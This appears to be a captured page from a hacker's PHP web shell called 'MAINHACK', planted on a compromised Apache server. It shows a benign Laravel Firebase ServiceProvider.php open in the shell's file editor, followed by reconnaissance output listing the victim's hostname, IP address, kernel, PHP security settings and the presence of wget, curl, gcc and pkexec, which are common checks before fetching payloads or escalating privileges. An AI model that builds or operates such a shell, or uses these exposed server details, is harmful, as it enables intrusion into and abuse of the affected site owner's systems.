[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ServiceProvider.php
<?php declare(strict_types=1); namespace Kreait\Laravel\Firebase; use Illuminate\Contracts\Container\Container; use Kreait\Firebase; final class ServiceProvider extends \Illuminate\Support\ServiceProvider { public function boot(): void { // @codeCoverageIgnoreStart if (! $this->app->runningInConsole()) { return; } // @codeCoverageIgnoreEnd $this->publishes([ __DIR__.'/../config/firebase.php' => $this->app->configPath('firebase.php'), ], 'config'); } public function register(): void { $this->mergeConfigFrom(__DIR__.'/../config/firebase.php', 'firebase'); $this->registerManager(); $this->registerComponents(); } private function registerComponents(): void { $this->app->singleton(Firebase\Contract\AppCheck::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->appCheck()); $this->app->alias(Firebase\Contract\AppCheck::class, 'firebase.app_check'); $this->app->singleton(Firebase\Contract\Auth::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->auth()); $this->app->alias(Firebase\Contract\Auth::class, 'firebase.auth'); $this->app->singleton(Firebase\Contract\Database::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->database()); $this->app->alias(Firebase\Contract\Database::class, 'firebase.database'); $this->app->singleton(Firebase\Contract\DynamicLinks::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->dynamicLinks()); $this->app->alias(Firebase\Contract\DynamicLinks::class, 'firebase.dynamic_links'); $this->app->singleton(Firebase\Contract\Firestore::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->firestore()); $this->app->alias(Firebase\Contract\Firestore::class, 'firebase.firestore'); $this->app->singleton(Firebase\Contract\Messaging::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->messaging()); $this->app->alias(Firebase\Contract\Messaging::class, 'firebase.messaging'); $this->app->singleton(Firebase\Contract\RemoteConfig::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->remoteConfig()); $this->app->alias(Firebase\Contract\RemoteConfig::class, 'firebase.remote_config'); $this->app->singleton(Firebase\Contract\Storage::class, static fn (Container $app) => $app->make(FirebaseProjectManager::class)->project()->storage()); $this->app->alias(Firebase\Contract\Storage::class, 'firebase.storage'); } private function registerManager(): void { $this->app->singleton(FirebaseProjectManager::class, static fn (Container $app) => new FirebaseProjectManager($app)); $this->app->alias(FirebaseProjectManager::class, 'firebase.manager'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.54 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002